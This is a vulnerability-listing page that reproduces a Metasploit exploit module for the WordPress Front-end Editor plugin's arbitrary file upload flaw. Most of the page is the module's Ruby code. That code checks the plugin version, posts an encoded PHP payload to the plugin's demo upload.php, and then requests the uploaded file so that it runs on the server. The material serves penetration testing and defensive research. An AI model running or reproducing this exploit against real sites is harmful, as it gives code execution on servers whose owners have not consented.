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Wordpress Front-end Editor File Upload

🗓️ 26 Apr 2015 01:00:05Reported by Sammy, Roberto Soares Espreto <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 12 Views

Wordpress Front-end Editor File Upload vulnerability, allows authenticated arbitrary file uploads using custom upload mechanism instead of WordPress API

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(
      info,
      'Name'           => 'Wordpress Front-end Editor File Upload',
      'Description'    => %q{
          The WordPress Front-end Editor plugin contains an authenticated file upload
          vulnerability. An attacker can upload arbitrary files to the upload folder because
          the plugin uses its own file upload mechanism instead of the WordPress API, which
          incorrectly allows uploads of any file type.
      },
      'Author'         =>
        [
          'Sammy', # Vulnerability discovery
          'Roberto Soares Espreto <robertoespreto[at]gmail.com>'     # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['OSVDB', '83637'],
          ['WPVDB', '7569'],
          ['URL', 'http://web.archive.org/web/20170203203305/http://www.opensyscom.fr:80/Actualites/wordpress-plugins-front-end-editor-arbitrary-file-upload-vulnerability.html']
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Front-End Editor 2.2.1', {}]],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2012-07-04'))
  end

  def check
    check_plugin_version_from_readme('front-end-editor', '2.3')
  end

  def exploit
    print_status("Trying to upload payload")
    filename = "#{rand_text_alpha_lower(5)}.php"

    print_status("Uploading payload")
    res = send_request_cgi(
      'method'   => 'POST',
      'uri'      => normalize_uri(wordpress_url_plugins, 'front-end-editor', 'lib', 'aloha-editor', 'plugins', 'extra', 'draganddropfiles', 'demo', 'upload.php'),
      'ctype'    => 'application/octet-stream',
      'headers'  => {
        'X-File-Name' => "#{filename}"
      },
      'data' => payload.encoded
    )

    if res
      if res.code == 200
        register_files_for_cleanup(filename)
      else
        fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
      end
    else
      fail_with(Failure::Unknown, 'Server did not respond in an expected way')
    end

    print_status("Calling uploaded file #{filename}")
    send_request_cgi(
      { 'uri'    => normalize_uri(wordpress_url_plugins, 'front-end-editor', 'lib', 'aloha-editor', 'plugins', 'extra', 'draganddropfiles', 'demo', "#{filename}") },
      5
    )
  end
end

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